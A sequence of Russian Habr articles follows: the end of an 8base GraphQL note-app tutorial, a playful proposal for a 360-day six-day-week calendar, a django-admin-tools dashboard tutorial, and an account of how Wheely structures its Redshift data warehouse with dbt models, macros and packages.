При этом функция *graphql* передает именованную функцию *deleteNote*, которая будет использоваться для выполнения мутации удаления. Теперь мы можем обновить обработчик события click и добавить столь необходимые настройки для удаления заметки.
Перейдите к функции *onDeleteClick* в компоненте, поместите следующий фрагмент внутри функции:
```
const onDeleteClick = async () => {
const data = {
id: noteId,
};
const remove = window.confirm('Are you sure you want to delete this note?');
if (remove) {
await deleteNote({ variables: { data } });
refetch();
}
};
```
При нажатии кнопки удаления, в теле объекта **data** мы присваиваем полю *id* значение *noteId*, а затем показываем пользователю сообщение с подтверждением, однозначно заявляя, что мы намерены удалить эту заметку навсегда. Если пользователь делает как задумано и решает продолжить, мы вызываем функцию *deleteNote*, чтобы сделать мутацию удаления. Когда это завершено, нужно приложение.
Вот как это должно выглядеть. Перейдите по адресу localhost:3000 и попытайтесь удалить заметку:
Вы можете найти демо-версию этого приложения [здесь](https://note-app.now.sh).
### Заключение
Я уверен, что вы неплохо провели время, создавая это приложение, мы посмотрели, как писать запросы для получения данных с серверной части 8base, а также как писать мутации *создания* и *удаления*. 8base как платформа относительно проста в навигации и предлагает интуитивно понятный пользовательский интерфейс. Я провел ночь, выясняя это. Вы можете заполнить пропущенную дыру, узнав, как писать *update* [мутации](https://www.apollographql.com/docs/tutorial/mutations/#update-data-with-mutation) и добавить возможность редактировать заметку. Я уверен, что пользователи будут довольны. Вы также можете просмотреть их официальную [документацию](https://docs.8base.com), чтобы получить больше информации о платформе. Исходный код приложения вы можете найти [здесь](https://github.com/HackAfro/note-app). | https://habr.com/ru/post/463907/ | null | ru | null |
# А что если перейти на Удобный Шестидневный календарь?
Примерно месяц назад я добавлял в интерфейс кнопку, которая устанавливала дату календаря, соответствующую понедельнику прошлой недели. В процессе разработки я понял, что было бы хорошо изменить требования, потому что реализовывать их достаточно сложно. Только менять требование заказчика как-то не очень хочется. А что если изменить календарь так, чтобы он стал удобный и для устного счета и для программирования?
Предложение по новому календарю
-------------------------------
Примем, что в году 360 дней. В каждом месяце установим ровно по 30 дней. То есть 5 недель по 6 дней. Год начинается с понедельника, а каждый месяц будет начинается с понедельника и заканчивается субботой.
Оставшиеся 5 (в високосный год 6) дней находятся вне календаря. Назовём эту вневременную неделю "Предновогодней":
Число `360` имеет следующие простые делители `2` `2` `2` `3` `3` `5`, то есть очень удобно для вообще любых математических манипуляций, да и 360° всем известно.
Пояснения и подробности
-----------------------
В году 365 дней. У `365` всего 2 множителя `5` и `73`. Если принять неделю равную 5 дней, то получится ровно 73 недели (кроме високосного года). В месяце же 30 дней. А 30 дней тоже хорошо делится на 5. То есть можно сделать в месяце 6 недель по 5 дней или 5 недель по 6 дней, что мне больше нравится. В неделе установить 4 рабочих дня и 2 выходных. То есть "нормальных" дней в году будет 360, а "лишние" дни в календаре предлагаю назвать ~~Великой Вневременной~~ Предновогодней Неделей и сделать её праздничной.
Достоинства и недостатки
------------------------
### Достоинства
* Перестанут пухнуть библиотеки для работы с календарными датами. А для ответа на вопрос, какой будет день недели 12 июля в 2042 году? — не нужно будет быть гением. Достаточно лишь найти остаток от деления 12 на 6;
* Станет удобно планировать отпуск по той причине, что дни недели будут фиксированы относительно месяца или года;
* День рождения будет всегда в один и тот же день недели (например, у меня — в ~~воскресенье~~ субботу);
* Работать по 8 часов 4 дня в шестидневную неделю — это отлично. Количество рабочих дней `235`, с учётом государственных праздников. Так что в целом будет на несколько дней больше отдыха в течение года, чем при текущем календаре. Эксперименты по сокращению количества рабочих часов ведутся, так что это просто еще один шаг к переходу к четырёхдневной рабочей неделе;
* Удобно планировать мытьё головы 2 раза в неделю;
* Особенно удобно будет работать бухгалтерии.
### Недостатки
* Сезон зимы станет самым длинным сезоном (но всего на 5 дней);
* Люди у которых день рождения в прошлом календаре выпадал на 31 число смогут отпраздновать его 1 числа следующего месяца;
* Некоторые библиотеки нужно будет переписать, а устройства — перенастроить.
Другие календари
----------------
Конечно, перед тем, как предложить идею, я немного погуглил, почитал в вики про [Пятидневку](https://ru.wikipedia.org/wiki/%D0%9F%D1%8F%D1%82%D0%B8%D0%B4%D0%BD%D0%B5%D0%B2%D0%BA%D0%B0) и про [Советский революционный календарь](https://ru.wikipedia.org/wiki/%D0%A1%D0%BE%D0%B2%D0%B5%D1%82%D1%81%D0%BA%D0%B8%D0%B9_%D1%80%D0%B5%D0%B2%D0%BE%D0%BB%D1%8E%D1%86%D0%B8%D0%BE%D0%BD%D0%BD%D1%8B%D0%B9_%D0%BA%D0%B0%D0%BB%D0%B5%D0%BD%D0%B4%D0%B0%D1%80%D1%8C). Но все эти календари имеют тот недостаток, что вычисления в голове сложны. Постоянный календарь вообще был с плавающей длиной недели, что как по мне просто замена шила на мыло.
Пример:
*Табель-календарь на 1939 год. Фактически — это календарь на любой год, единственное отличие — наличие или отсутствие 29 февраля. Поэтому, с одной стороны, этот календарь можно назвать постоянным. Однако, шестидневки (то есть недели) были не сплошными, поскольку тридцать первые числа месяцев в шестидневки не входили. После четвёртого дня шестидневки — 28 февраля — идёт сразу первый день шестидневки — 1 марта*
Как быть церкви?
----------------
Православная церковь следует своему [православному церковному календарю](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B0%D0%B2%D0%BE%D1%81%D0%BB%D0%B0%D0%B2%D0%BD%D1%8B%D0%B9_%D0%BA%D0%B0%D0%BB%D0%B5%D0%BD%D0%B4%D0%B0%D1%80%D1%8C), так что просто какие-то праздники и богослужения сместятся. Думаю что выпускники семинарий решат этот вопрос.
**Когда внедрять?**
И чтобы инициатива не протухла, рекомендую ее внедрить с 1 января 2021 года. А там уже в процессе баги исправим :) | https://habr.com/ru/post/530116/ | null | ru | null |
# Улучшаем админку
Одно из слабых мест джанго-админки — главная страница. Идея авто-группировки моделей по приложениям и вывод столбиком в одну колонку работает только на начальных этапах, дальше это становится просто неудобно — куча лишней информации и довольно сложные пути для того, чтобы добавить полезную. Ну, например, чтобы названия приложений писались русскими буквами — полностью перекрывать шаблон.
И тут на помощь приходит [django-admin-tools](http://bitbucket.org/izi/django-admin-tools/wiki/Home). С этим приложением минут за 20 можно получить «приборную панель» с произвольной группировкой приложений/моделей, вкладками, любым числом колонок, различными блоками, которые каждый пользователь сможет расставить, как ему удобнее, скрывать и сворачивать по желанию, закладками, настраиваемым меню и удобным способом добавления во все это хозяйство всего, чего только можно придумать.
Вот так, например, сейчас выглядит админка к сайту [НадоВместе](http://nadovmeste.ru/):
(это только часть, вот [скриншот](http://kmike.ru/img/habr/admin/index.png) целиком)
Разберемся поподробнее.
#### Установка
1. `pip install -e hg+http://bitbucket.org/izi/django-admin-tools/#egg=django-admin-tools`
Ставим дев-версию, т.к. ~~я фанат дев-версий~~ там много новых вкусных штук: например, упрощен API и добавлены группы. Если не установлен mercurial, то можно скачать последнюю ревизию [архивом](http://bitbucket.org/izi/django-admin-tools/get/tip.zip), распаковать и запустить `python setup.py install`.
2. Добавляем admin\_tools в INSTALLED\_APPS (обязательно до django.contrib.admin):
```
INSTALLED_APPS = (
'admin_tools',
'admin_tools.theming',
'admin_tools.menu',
'admin_tools.dashboard',
# ...
'django.contrib.auth',
'django.contrib.sites',
'django.contrib.admin'
# ... и другие приложения ...
)
```
3. python manage.py syncdb
4. подключаем в urls.py:
```
urlpatterns = patterns('',
url(r'^admin_tools/', include('admin_tools.urls')),
#... и т.д. ...
)
```
5. копируем медиа-файлы (js, css и картинки) в MEDIA\_ROOT проекта. Что-то вроде этого — вы ведь используете virtualenv?
```
cp -r /home/kmike/envs/nadovmeste/src/django-admin-tools/admin_tools/media/admin_tools /path/to/yourproject/media/
```
Можно вместо копирования сделать симлинк или использовать [django-static-files](http://pypi.python.org/pypi/django-staticfiles/).
Все, можно зайти в админку и удивиться ~~страшной пятнистой шапке~~ тому, как все поменялось. Установка, как видите, вполне обычная, никаких джанговских файлов заменять не нужно (как в grappelli было когда-то).
#### Блоки
Самая полезная штука в django-admin-tools — это, конечно, блоки. Вы можете настроить, какие блоки и как показывать на заглавной странице, писать свои блоки и брать готовые.
1. Создаем заготовку для «приборной панели»:
`python manage.py customdashboard`
После этого в корне проекта появится файл dashboard.py с заготовкой. Можно его, в принципе, и руками написать.
В файле будет содержаться 2 класса: CustomIndexDashboard и CustomAppIndexDashboard — для главной страницы админки и страницы отдельного приложения. Нас тут будет интересовать класс CustomIndexDashboard.
2. Указываем в settings.py, что будем использовать свою «приборную панель» на заглавной странице админки:
`ADMIN_TOOLS_INDEX_DASHBOARD = 'yourproject.dashboard.CustomIndexDashboard'`
3. Для примера: объединим в одном блоке стандартные джанговские модели из auth и свои данные о профайлах, назвав при этом блок по-русски:
```
from admin_tools.dashboard import modules, Dashboard
class CustomIndexDashboard(Dashboard):
def __init__(self, **kwargs):
Dashboard.__init__(self, **kwargs)
self.children.append(
modules.ModelList(
title = u'Пользователи',
models=(
'django.contrib.auth.*',
'my_accounts.models.Profile',
),
)
)
```
В списке моделей указываются полные пути к моделям, которые требуется подключить. Все модели, которые перечислены в models, должны быть зарегистрированы в джанговской админке как обычно. Если моделей несколько, то можно их все не перечислять, т.к. есть поддержка \*. Если вы включили кучу моделей через \* и нужно из них убрать несколько, то есть симметричный параметру models параметр exclude со списком моделей, которые показывать не нужно (там тоже есть поддержка \*).
#### Стандартные блоки
django-admin-tools включает в стандартную поставку несколько готовых блоков для приборной панели. Детальную информацию о них можно найти в [документации](http://packages.python.org/django-admin-tools/dev/dashboard.html). Тут будет просто краткий обзор + описание замечательного **modules.Group**, которого не было в документации на момент написания статьи.
Импортировать их следует так: `from admin_tools.dashboard import modules`
1. **modules.ModelList** — как мне кажется, это самый основной и полезный блок. Позволяет группировать произвольные модели в рамках одного блока.
2. **modules.Group** — еще один супер-полезный блок. Позволяет группировать любые другие блоки внутри себя. Блоки могут или располагаться друг над другом, или в виде «аккордеона», или во вкладках. Очень удобно, например, для графиков, или для отделения основных и часто используемых разделов от побочных.
Пример использования:
```
self.children.append(modules.Group(
title=u"Статистика",
display="tabs",
children=[
nadovmeste_modules.Overview(),
nadovmeste_modules.Subscribers(),
nadovmeste_modules.Finances(),
nadovmeste_modules.Users(),
]
))
```
В списке children можно указывать любые другие блоки, в.т.ч. разных типов. В примере тут не стандартные модули из admin\_tools.dashboard.modules, а свои (о том, как их делать — позже).
Поддержки вложенных групп пока нет (а если точнее, то сейчас js при этом работает неправильно).
3. **modules.LinkList** — список произвольных ссылок. Внешние ссылки могут помечаться специальной иконкой, ссылки могут располагаться как горизонтально, так и в столбик.
4. **modules.AppList** — по сути, аналог главной страницы стандартной джанговской админки. Список приложений и моделей в них. Скажу по секрету, тут есть еще не документированный параметр models, который абсолютно аналогичен этому параметру в modules.ModelList — с той разницей, что потом модели будут сгруппированы по приложениям. Этот блок полезен, если хочется добавить все по-быстрому, или повторить обычную джанговскую админку — в остальных случаях, как мне кажется, лучше подходит ModelList. Хотя может это дело вкуса.
5. **modules.RecentActions** — список последних действий, как в стандартной джанговской админке. Не знаю, зачем он нужен :)
6. **modules.Feed** — позволяет показывать ленты RSS в админке.
#### Пишем свои блоки
Напишем, например, абсолютно бесполезный блок, который будет просто выводить какое-то сообщение, переданное ему в конструкторе.
1. Наследуемся от admin\_tools.dashboard.modules.DashboardModule:
```
class MyModule(modules.DashboardModule):
def is_empty(self):
return self.message == ''
def __init__(self, **kwargs):
super(MyModule, self).__init__(**kwargs)
self.template = 'my_blocks/hello.html'
self.message = kwargs.get('message', '')
```
2. Делаем шаблон templates/my\_blocks/hello.html
```
{% extends "admin_tools/dashboard/module.html" %}
{% block module_content %}
#### {{ module.message }}
{% endblock %}
```
Как видите, объект модуля передается в шаблон. Это означает, что можно передавать любые данные через его атрибуты (что мы и сделали в примере с message).
3. Подключаем блок в dashboard.py
```
self.children.append(MyModule(title=u"Приветствие", message = u'Привет!'))
```
Все, готово. Думаю, теперь понятно, как делать любые более сложные штуки, рисовать в блоках графики и тд. Готовим данные, делаем шаблон. Если в контексте шаблона нужен request, то переопределяйте метод [init\_with\_context](http://packages.python.org/django-admin-tools/dev/dashboard.html#admin_tools.dashboard.modules.DashboardModule.init_with_context) (по ссылке — пример).
Полученный блок можно будет таскать мышкой, сворачивать-разворачивать, располагать отдельно или во вкладке у modules.Group и тд. — наравне со стандартными блоками.
Да, еще, если нужно что-то просто дописать сверху или снизу стандартного блока, то можно свой блок/шаблон не делать, а воспользоваться атрибутами модуля pre\_content и post\_content.
#### Внешний вид
Люди достаточно осторожно подошли к дизайнерству, и новые элементы смотрятся вполне органично рядом со стандартными джанговскими. Но если вам тоже не нравится ненужный заголовок и ~~кошмарная пятнистая~~ стандартная шапка из django-admin-tools, то их проще всего убрать с помощью css. Хорошо бы еще логотип в шапку добавить. Заодно и с тем, как делать темы, разберемся.
1. Делаем css-файл со своей темой. Для примера можно посмотреть [тему](http://kmike.ru/img/habr/admin/theming.css), которая используется в нашей админке, еще пример есть в [стандартной поставке](http://bitbucket.org/izi/django-admin-tools/src/tip/admin_tools/media/admin_tools/css/theming.css).
2. Подключаем файл с темой: в settings.py добавляем настройку
```
ADMIN_TOOLS_THEMING_CSS = 'css/theming.css' # путь относительно MEDIA_ROOT
```
#### Что дальше
В статье нет ничего про меню, закладки, настройку собственно приборных панелей, про панели для отдельных приложений. Обо всем этом можно почитать в [документации](http://packages.python.org/django-admin-tools/dev/index.html). Если хотите помочь проекту, подключившись к разработке — [welcome](http://bitbucket.org/izi/django-admin-tools/wiki/Home). Если что не работает в django-admin-tools, то это я все сломал, если что-то сделано круто — напишите весточку [David Jean Louis](http://bitbucket.org/izi).
#### Небольшие хитрости
Если вы обновили модули в своей приборной панели (добавили, удалили, поменяли местами), и после этого все куда-то уехало, то удалите записи из DashboardPreferences.
Статистика на скриншоте — с тестового сервера, реальные данные nadovmeste.ru не «спалил». Если интересно, то в следующей статье расскажу, как заполнять базу большим количеством тестовых данных, и как строк за 5 кода (включая шаблон) получать любые графики со статистикой (как, например, на скриншоте — график со статистикой регистраций пользователей по дням).
Да, спасибо [obiwanus](https://habrahabr.ru/users/obiwanus/) и [leoglu](https://habrahabr.ru/users/leoglu/) за ценные замечания на этапе подготовки статьи. | https://habr.com/ru/post/98539/ | null | ru | null |
# Мультитул для управления Хранилищем Данных — кейс Wheely + dbt
Уже более двух лет *data build tool* активно используется в компании Wheely для управления Хранилищем Данных. За это время накоплен немалый опыт, мы на тернистом пути проб и ошибок к совершенству в *Analytics Engineering*.
Несмотря на то, что в русскоязычном сегменте уже есть несколько публикаций, посвященных применению dbt, всё ещё нельзя говорить о широкой популярности и интересе, которые продукт стремительно обретает на Западе.
Поэтому сегодня я предлагаю вам экскурсию по Хранилищу Данных Wheely. В формат публикации я попытался уложить самые яркие моменты и впечатления от использования dbt, снабдив реальными примерами, практиками и опытом. Добро пожаловать под кат.
### Структура превыше всего
> *Измерять сложность Хранилища Данных в количестве гигабайт сегодня - дурной тон*
>
>
Налить кучу тяжело интерпретируемых данных без метаинформации (читай мусора) не составит большого труда. Гораздо сложнее из этих данных получить что-то осмысленное. То, на что с уверенностью могут опираться *business stakeholders*, принимая решения. То, что регулярно измеряется на предмет качества и актуальности. Наконец, то, что соответствует принципам Keep it simple (KISS) и Don’t repeat yourself (DRY).
Первостепенным элементом я считаю прозрачность структуры Хранилища Данных. Чаще всего DWH выстраивается согласно многослойной логике, где каждому этапу соответствует набор преобразований, детали реализации которого скрыты для последующих слоев (элемент абстракции).
Схема слоев Хранилища ДанныхЗеленым цветом – слой источников данных *sources*. Это реплики структур и таблиц из исходных систем, которые поддерживаются ELT-сервисом. Данные синхронизируются 1:1 с источником, без каких-либо преобразований. Опциональный слой *flatten* позволяет вложенные иерархические структуры (JSON) превратить в плоские таблицы.
Слой *staging* предназначен для простых преобразований: переименование полей, преобразование типов, расчет новых колонок с помощью конструкции *case*. На этом этапе мы готовим почву для дальнейших преобразований, приводим всё к единому виду и неймингу.
*Intermediate* или промежуточный слой отвечает за формирование предварительных таблиц и агрегатов, где происходит обогащение данных. Для ряда бизнес-областей мы не используем этот слой, для других логика может насчитывать до 5-10 взаимосвязанных моделей.
Кульминацией являются *data marts* или Витрины Данных, которые используются Data Scientists / Business Users / BI tools. Слой, в свою очередь, делится на:
* *dimensions*: пользователи, компании, машины, водители, календарь
* *facts: поездки, транзакции, сеансы, продвижения, коммуникации*
* *looker*: материализованные представления и витрины, оптимизированные под чтение из BI-системы
Число 120 из заголовка публикации относится только к витринам данных:
```
Running with dbt=0.19.0
Found 273 models, 493 tests, 6 snapshots, 4 analyses, 532 macros, 7 operations, 8 seed files, 81 sources, 0 exposures
```
На текущий момент в проекте:
* 273 модели во всех перечисленных слоях
* 493 теста на эти модели, включая not null, unique, foreign key, accepted values
* 6 снапшотов для ведения истории SCD (slowly changing dimensions)
* 532 макроса (большая часть из которых импортирована из сторонних модулей)
* 7 operations включая vacuum + analyze
* 81 источник данных
Помимо разбиения на логические слои, Хранилище можно нарезать по бизнес-областям. В случае необходимости есть возможность пересчитать или протестировать витрины, относящиеся к вертикалям Marketing / Supply / Growth / B2B. Например, в случае late arriving data или ручных корректировках маппингов/справочников.
Осуществляется это за счет присвоения моделям и витринам тегов, а также за счет богатых возможностей [синтаксиса выбора моделей](https://docs.getdbt.com/reference/node-selection/syntax). Запустить расчет всех витрин вертикали *Marketing* и их вышестоящие зависимости:
```
dbt run -m +tag:marketing
```
Этот же принцип лежит в основе организации кодой базы. Все скрипты объединены в директории с общей логикой и понятными наименованиями. Сложно потеряться даже при огромном количестве моделей и витрин:
Иерархия проекта dbt
```
.
|____staging
| |____webhook
| |____receipt_prod
| |____core
| |____wheely_prod
| |____flights_prod
| |____online_hours_prod
| |____external
| |____financial_service
|____marts
| |____looker
| |____dim
| |____snapshots
| |____facts
|____flatten
| |____webhook
| |____receipt_prod
| |____wheely_prod
| |____communication_prod
|____audit
|____sources
|____aux
| |____dq
| | |____marts
| | |____external
|____intermediate
```
### Оптимизация физической модели
Логическое разделение на слои и области - это замечательно. Но не менее важно и то, как эта логика ложится на конкретную СУБД. В случае Wheely это [Amazon Redshift](https://habr.com/ru/company/wheely/blog/539154/)***.***
Подход с декомпозицией позволит разбить логику на понятные части, которые можно рефакторить по отдельности. Одновременно это помогает оптимизатору запросов подобрать лучший план выполнения. По такому принципу реализована одна из центральных витрин – *journeys* (поездки).
Цепочка зависимостей витрины поездок (journeys)На этапе обогащения данных важна скорость склейки таблиц (*join performance*), поэтому данные сегментированы и отсортированы в одинаковом ключе, начиная с *sources*. Это позволит использовать самый быстрый вид соединения - *sort merge join*:
Конфигурация для оптимального соединения – sort merge join
```
{{
config(
materialized='table',
unique_key='request_id',
dist="request_id",
sort="request_id"
)
}}
```
Витрина же хранится отсортированной по самым популярным колонкам доступа: city, country, completed timestamp, service group. В случае правильного подбора колонок [Interleaved key](https://docs.aws.amazon.com/redshift/latest/dg/t_Sorting_data.html#t_Sorting_data-interleaved) позволяет значительно оптимизировать I/O и ускорить отрисовку графиков в BI-системах.
Конфигурация для быстрого чтения витрины – interleaved sortkey
```
{{
config(
materialized='table',
unique_key='request_id',
dist="request_id",
sort_type='interleaved',
sort=["completed_ts_loc"
, "city"
, "country"
, "service_group"
, "is_airport"
, "is_wheely_journey"]
)
}}
```
При этом часть моделей есть смысл материализовать в виде *views* (виртуальных таблиц), не занимающих дисковое пространство в СУБД. Так, слой *staging*, не содержащий сложных преобразований, конфигурируется на создание в виде представлений на уровне проекта:
```
staging:
+materialized: view
+schema: staging
+tags: ["staging"]
```
Другой интересный пример – результаты проверки качества данных. Выбранный тип материализации – *ephemeral,* т.е. на уровне СУБД не будет создано ни таблицы, ни представления. При каждом обращении к такой модели будет выполнен лишь запрос. Результат такого запроса является слагаемым в суммарной таблице, содержащей метрики всех проверяемых объектов.
В свою очередь большие таблицы фактов имеет смысл наполнять инкрементально. Особенно при условии того, что факт, случившийся однажды, больше не меняет своих характеристик. Таким образом мы процессим только изменения (*delta*) – новые факты, произошедшие после последнего обновления витрины. Обратите внимание на условие *where*:
Пример инкрементального наполнения витрины
```
{{
config(
materialized='incremental',
sort='metadata_timestamp',
dist='fine_id',
unique_key='id'
)
}}
with fines as (
select
fine_id
, city_id
, amount
, details
, metadata_timestamp
, created_ts_utc
, updated_ts_utc
, created_dt_utc
from {{ ref('stg_fines') }}
where true
-- filter fines arrived since last processed time
{% if is_incremental() -%}
and metadata_timestamp > (select max(metadata_timestamp) from {{ this }})
{%- endif %}
),
...
```
Кстати, о принципах MPP и о том, как выжать максимум из аналитических СУБД я рассказываю на курсах [Data Engineer](https://otus.ru/lessons/data-engineer/) и [Data Warehouse Analyst](https://otus.ru/greenlight/dwh/) (скоро первый запуск!).
### SQL + Jinja = Flexibility
Высокоуровневый декларативный язык SQL прекрасен сам по себе, но вкупе с движком шаблонизации [Jinja](https://jinja.palletsprojects.com/en/2.11.x/) он способен творить чудеса.
Любой код, который вы используете с dbt проходит этапы compile & run. На этапе компиляции интерпретируются все шаблонизированные выражения и переменные. На этапе запуска код оборачивается в конструкцию CREATE в зависимости от выбранного типа материализации и фишек используемой СУБД: *clustered by / distributed by / sorted by*. Рассмотрим пример:
Model code:
```
{{
config(
materialized='table',
dist="fine_id",
sort="created_ts_utc"
)
}}
with details as (
select
{{
dbt_utils.star(from=ref('fine_details_flatten'),
except=["fine_amount", "metadata_timestamp", "generated_number"]
)
}}
from {{ ref('fine_details_flatten') }}
where fine_amount > 0
)
select * from details
```
Compiled code:
```
with details as (
select
"id",
"fine_id",
"city_id",
"amount",
"description",
"created_ts_utc",
"updated_ts_utc",
"created_dt_utc"
from "master"."dbt_test_akozyr"."fine_details_flatten"
where fine_amount > 0
)
select * from details
```
Run code:
```
create table
"master"."dbt_test_akozyr"."f_chauffeurs_fines"
diststyle key distkey (fine_id)
compound sortkey(created_ts_utc)
as (
with details as (
select
"id",
"fine_id",
"city_id",
"amount",
"description",
"created_ts_utc",
"updated_ts_utc",
"created_dt_utc"
from "master"."dbt_test_akozyr"."fine_details_flatten"
where fine_amount > 0
)
select * from details
);
```
Ключевым моментом является тот факт, что пишете вы только лаконичный шаблонизированный код, а остальным занимается движок dbt. Написание *boilerplate code* сведено к минимуму. Фокус инженера или аналитика остается преимущественно на реализуемой логике.
Во-вторых, как происходит выстраивание цепочки связей и очередности создания витрин, продемонстрированные на картинках выше? Внимательный читатель уже заметил, что в рамках написания кода при ссылках на другие модели нет хардкода, но есть конструкция `{{ ref('fine_details_flatten') }}`– ссылка на наименование другой модели. Она и позволяет распарсить весь проект и построить граф связей и зависимостей. Так что это тоже делается абсолютно прозрачным и органичным способом.
С помощью шаблонизации Jinja в проекте Wheely мы гибко управляем схемами данных и разделением сред *dev / test / prod*. В зависимости от метаданных подключения к СУБД будет выбрана схема и период исторических данных. Продакшн модели создаются в целевых схемах под технической учетной записью. Аналитики же ведут разработку каждый в своей личной *песочнице,* ограниченной объемом данных в 3-е последних суток. Это реализуется с помощью макроса:
Макрос управления схемами для подключений:
```
{% macro generate_schema_name_for_env(custom_schema_name, node) -%}
{%- set default_schema = target.schema -%}
{%- if target.name == 'prod' and custom_schema_name is not none -%}
{{ custom_schema_name | trim }}
{%- else -%}
{{ default_schema }}
{%- endif -%}
{%- endmacro %}
```
Еще одним важным преимуществом является самодокументируемый код. Иными словами, из репозитория проекта автоматически можно собрать статический сайт с документацией: перечень слоев, моделей, атрибутный состав, метаинформацию о таблицах в СУБД и даже визуализировать граф зависимостей (да-да, картинки выше именно оттуда).
### Не повторяйся – лучше подготовь макрос
Однотипный код, повторяющиеся обращения и действия, зачастую реализуемые по принципу copy-paste нередко являются причиной ошибок и багов. В Wheely мы придерживаемся принципа *Do not repeat yourself* и любой сколько-нибудь похожий код шаблонизируем в макрос с параметрами. Писать и поддерживать такой код становится сплошным удовольствием.
Простой пример с конвертацией валют:
```
-- currency conversion macro
{% macro convert_currency(convert_column, currency_code_column) -%}
( {{ convert_column }} * aed )::decimal(18,4) as {{ convert_column }}_aed
, ( {{ convert_column }} * eur )::decimal(18,4) as {{ convert_column }}_eur
, ( {{ convert_column }} * gbp )::decimal(18,4) as {{ convert_column }}_gbp
, ( {{ convert_column }} * rub )::decimal(18,4) as {{ convert_column }}_rub
, ( {{ convert_column }} * usd )::decimal(18,4) as {{ convert_column }}_usd
{%- endmacro %}
```
Вызов макроса из модели:
```
select
...
-- price_details
, r.currency
, {{ convert_currency('price', 'currency') }}
, {{ convert_currency('transfer_min_price', 'currency') }}
, {{ convert_currency('discount', 'currency') }}
, {{ convert_currency('insurance', 'currency') }}
, {{ convert_currency('tips', 'currency') }}
, {{ convert_currency('parking', 'currency') }}
, {{ convert_currency('toll_road', 'currency') }}
, {{ convert_currency('pickup_charge', 'currency') }}
, {{ convert_currency('cancel_fee', 'currency') }}
, {{ convert_currency('net_bookings', 'currency') }}
, {{ convert_currency('gross_revenue', 'currency') }}
, {{ convert_currency('service_charge', 'currency') }}
...
from {{ ref('requests_joined') }} r
```
По большому счету, макрос это просто вызов функции с передачей аргументов, на уже знакомом вам диалекте Jinja. Результатом работы макроса является готовый к исполнению SQL-скрипт. Макрос для кросс-сверки значений в колонках:
Сравнить значения двух колонок
```
-- compare two columns
{% macro dq_compare_columns(src_column, trg_column, is_numeric=false) -%}
{%- if is_numeric == true -%}
{%- set src_column = 'round(' + src_column + ', 2)' -%}
{%- set trg_column = 'round(' + trg_column + ', 2)' -%}
{%- endif -%}
CASE
WHEN {{ src_column }} = {{ trg_column }} THEN 'match'
WHEN {{ src_column }} IS NULL AND {{ trg_column }} IS NULL THEN 'both null'
WHEN {{ src_column }} IS NULL THEN 'missing in source'
WHEN {{ trg_column }} IS NULL THEN 'missing in target'
WHEN {{ src_column }} <> {{ trg_column }} THEN 'mismatch'
ELSE 'unknown'
END
{%- endmacro %}
```
В макрос можно запросто записать даже создание UDF-функций:
Создать UDF
```
-- cast epoch as human-readable timestamp
{% macro create_udf() -%}
{% set sql %}
CREATE OR REPLACE FUNCTION {{ target.schema }}.f_bitwise_to_delimited(bitwise_column BIGINT, bits_in_column INT)
RETURNS VARCHAR(512)
STABLE
AS $$
# Convert column to binary, strip "0b" prefix, pad out with zeroes
if bitwise_column is not None:
b = bin(bitwise_column)[2:].zfill(bits_in_column)[:bits_in_column+1]
return b
else:
None
$$ LANGUAGE plpythonu
;
CREATE OR REPLACE FUNCTION {{ target.schema }}.f_decode_access_flags(access_flags INT, deleted_at TIMESTAMP)
RETURNS VARCHAR(128)
STABLE
AS $$
SELECT nvl(
DECODE($2, null, null, 'deleted')
, DECODE(LEN(analytics.f_bitwise_to_delimited($1, 7))::INT, 7, null, 'unknown')
, DECODE(analytics.f_bitwise_to_delimited($1, 7)::INT, 0, 'active', null)
, DECODE(SUBSTRING(analytics.f_bitwise_to_delimited($1, 7), 1, 1), 1, 'end_of_life', null)
, DECODE(SUBSTRING(analytics.f_bitwise_to_delimited($1, 7), 7, 1), 1, 'pending', null)
, DECODE(SUBSTRING(analytics.f_bitwise_to_delimited($1, 7), 6, 1), 1, 'rejected', null)
, DECODE(SUBSTRING(analytics.f_bitwise_to_delimited($1, 7), 5, 1), 1, 'blocked', null)
, DECODE(SUBSTRING(analytics.f_bitwise_to_delimited($1, 7), 4, 1), 1, 'expired_docs', null)
, DECODE(SUBSTRING(analytics.f_bitwise_to_delimited($1, 7), 3, 1), 1, 'partner_blocked', null)
, DECODE(SUBSTRING(analytics.f_bitwise_to_delimited($1, 7), 2, 1), 1, 'new_partner', null)
)
$$ LANGUAGE SQL
;
{% endset %}
{% set table = run_query(sql) %}
{%- endmacro %}
```
Параметризовать можно и довольно сложные вещи, такие как работа с *nested structures* (иерархическими структурами) и выгрузка во внешние таблицы (*external tables*) в S3 в формате *parquet*. Эти примеры вполне достойны отдельных публикаций.
### Не изобретай велосипед – импортируй модули
Модуль или package - это набор макросов, моделей, тестов, который можно импортировать в свой проект в виде готовой к использованию библиотеки. На портале [dbt hub](https://hub.getdbt.com/) есть неплохая подборка модулей на любой вкус, и, что самое главное, их список постоянно пополняется.
С помощью модуля логирования и добавления 2 простых hooks на каждый запуск dbt у меня как на ладони появляется статистическая информация о времени, продолжительности, флагах и параметрах развертывания. Я наглядно вижу модели анти-лидеры по потребляемым ресурсам (первые кандидаты на рефакторинг):
```
models:
+pre-hook: "{{ logging.log_model_start_event() }}"
+post-hook: "{{ logging.log_model_end_event() }}"
```
Мониторинг развертывания dbt моделей на кластере RedshiftИзмерение календаря собирается в одну строку, при этом набор колонок поражает:
```
{{ dbt_date.get_date_dimension('2012-01-01', '2025-12-31') }}
```
Измерение календарь, сгенерированное макросомС помощью модуля dbt\_external\_tables я уже выстраиваю полноценный *Lakehouse,* обращаясь из Хранилища к данным, расположенным в файловом хранилище S3. К примеру, самые свежие курсы валют, получаемые через API [Open Exchange Rates](https://openexchangerates.org/) в формате JSON:
External data stored in S3 accessed vith Redshift Spectrum
```
- name: external
schema: spectrum
tags: ["spectrum"]
description: "External data stored in S3 accessed vith Redshift Spectrum"
tables:
- name: currencies_oxr
description: "Currency Exchange Rates fetched from OXR API https://openexchangerates.org"
freshness:
error_after: {count: 15, period: hour}
loaded_at_field: timestamp 'epoch' + "timestamp" * interval '1 second'
external:
location: "s3://data-analytics.wheely.com/dwh/currencies/"
row_format: "serde 'org.openx.data.jsonserde.JsonSerDe'"
columns:
- name: timestamp
data_type: bigint
- name: base
data_type: varchar(3)
- name: rates
data_type: struct
```
Ну и, конечно, ночью по расписанию работает VACUUM + ANALYZE, ведь Redshift это форк PostgreSQL. Дефрагментация, сортировка данных в таблицах, сбор статистик. Иначе говоря поддержание кластера в тонусе, пока dba спит.
```
dbt run-operation redshift_maintenance --args '{include_schemas: ["staging", "flatten", "intermediate", "analytics", "meta", "snapshots", "ad_hoc"]}'
```
